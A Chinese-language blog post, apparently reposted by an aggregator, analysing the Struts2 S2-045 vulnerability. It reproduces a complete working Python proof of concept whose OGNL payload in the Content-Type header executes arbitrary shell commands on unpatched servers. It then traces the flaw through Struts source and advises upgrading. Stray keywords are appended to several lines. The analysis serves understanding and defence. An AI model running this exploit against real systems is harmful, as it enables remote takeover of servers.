S2-045漏洞初步分析

0x01 前言java

     前幾天剛分析完s2-032這個漏洞,今天又爆發了一個s2-045的漏洞,又是直接的命令執行,影響了struts2絕大多數的版本.python

官方給的漏洞公告在這裏   https://cwiki.apache.org/confluence/display/WW/S2-045linux

受影響版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10express

      其實昨天就看到朋友圈有人在發這個漏洞,一看是s2-045,心想着struts2的問題可真多,編號都排到45了,就像道哥說的同樣若是一個軟件出現的漏洞較多,那麼說明代碼維護者的安全意識與安全經驗有所欠缺,同時因爲破窗效應,這個軟件將來每每出現更多的漏洞,struts2確實讓人不太省心,而後當時也給本身一個作j2ee開發的朋友說s2又爆出了一個漏洞,他還不在意的說誰如今還用struts2啊,咱們如今都用SpringMVC了,可是本身測試了幾個大型的網站,仍是受到了s2-045漏洞的影響,仔細想一想的確如今開發j2ee struts2框架的不多了,可是一些網站的老系統以前都是用的s2框架,而這些可能又是和他們業務息息相關的,一時的徹底替代成本過高,因此基本是就是「修修補補又三年」的狀態。apache

0x02 poc分析安全

      網上流傳的poc傳播的很快,代碼以下:bash

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()

poc()

以前測試s2-032的環境struts2的版本就是2.3.28,也是此次漏洞受影響的版本,因此是直接就能夠拿來用。app

wireshark抓個包看看。以下圖所示:框架

從poc和wireshark中能夠看到,惡意的payload是以http header中的Content-type爲載體的,最終致使ognl表達式的命令執行的目的。這個poc的ognl表達式和以前的s2-032不一樣,仍是很有講究的,對win和linux作了兼容性處理。ide

0x03 漏洞分析

過程回溯

經過patch對比發現

變化就在return的這行,從所在的類名和函數名buildErrorMessage能夠看出應該是當對Mulitpart解析出錯以後「創建」錯誤消息,那咱們在這裏加個斷點試試看,加斷點以後發現當代碼執行完這行到這一步的時候,對應的咱們的命令就執行了,以下圖

據此能夠斷定這裏就是問題所在的地方,那這個findtext又是什麼來路?咱們來看看這個函數的定義:

   public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) {
        ValueStack valueStack = ActionContext.getContext().getValueStack();
        return findText(aClass, aTextName, locale, defaultMessage, args, valueStack);

    }

    /**
     * Finds a localized text message for the given key, aTextName. Both the key and the message
     * itself is evaluated as required.  The following algorithm is used to find the requested
     * message:
     * <p/>
     * <ol>
     * <li>Look for message in aClass' class hierarchy.
     * <ol>
     * <li>Look for the message in a resource bundle for aClass</li>
     * <li>If not found, look for the message in a resource bundle for any implemented interface</li>
     * <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li>
     * </ol></li>
     * <li>If not found and aClass is a {@link ModelDriven} Action, then look for message in
     * the model's class hierarchy (repeat sub-steps listed above).</li>
     * <li>If not found, look for message in child property.  This is determined by evaluating
     * the message key as an OGNL expression.  For example, if the key is
     * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an
     * object.  If so, repeat the entire process fromthe beginning with the object's class as
     * aClass and "address.state" as the message key.</li>
     * <li>If not found, look for the message in aClass' package hierarchy.</li>
     * <li>If still not found, look for the message in the default resource bundles.</li>
     * <li>Return defaultMessage</li>
     * </ol>
     * <p/>
     * When looking for the message, if the key indexes a collection (e.g. user.phone[0]) and a
     * message for that specific key cannot be found, the general form will also be looked up
     * (i.e. user.phone[*]).
     * <p/>
     * If a message is found, it will also be interpolated.  Anything within <code>${...}</code>
     * will be treated as an OGNL expression and evaluated as such.
     * <p/>
     * If a message is <b>not</b> found a WARN log will be logged.
     *
     * @param aClass         the class whose name to use as the start point for the search
     * @param aTextName      the key to find the text message for
     * @param locale         the locale the message should be for
     * @param defaultMessage the message to be returned if no text message can be found in any
     *                       resource bundle
     * @param valueStack     the value stack to use to evaluate expressions instead of the
     *                       one in the ActionContext ThreadLocal
     * @return the localized text, or null if none can be found and no defaultMessage is provided
     */

大體的意思是經過給定的key和aTextname找到本地化的text message,關鍵點在key這個參數會進行ognl表達式的執行。不斷跟進代碼,咱們最終發現了ognl表達式和咱們的payload是在LocalizedTextUtil類的getDefaultMessage()這個函數裏面最終執行的。

可見漏洞產生的關鍵點是在處理 error message產生了問題,message拼接了用戶的「輸入」,而這個message參數會傳遞到transalteVariables()這個函數,這個函數的定義以下:

    /**
     * Converted object from variable translation.
     *
     * @param open
     * @param expression
     * @param stack
     * @param asType
     * @param evaluator
     * @return Converted object from variable translation.
     */
    public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {

        ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {
            public Object evaluate(String parsedValue) {
                Object o = stack.findValue(parsedValue, asType);
                if (evaluator != null && o != null) {
                    o = evaluator.evaluate(o.toString());
                }
                return o;
            }
        };

expression是要被用做ognl表達式執行的,這個時候就boom,命令執行了。

0x04 小結

     攻擊者構造的header中的Content-Type會通過dispatcher.multipart包中Jakarta相關類的處理,可是解析出錯,並且是未定義的錯誤,那麼程序就將這個錯誤message「輸出」出來,但在輸出的時候還拼接了用戶的輸入,並且還被當作ognl表達式來執行(有些不太讓人理解?爲了更友好的展現錯誤輸出信息?),這樣就致使了命令執行。

0x05 防護

     升級至最新版本

0x06 Reference

1.http://paper.seebug.org/241/?from=timeline&isappinstalled=0

相關文章
相關標籤/搜索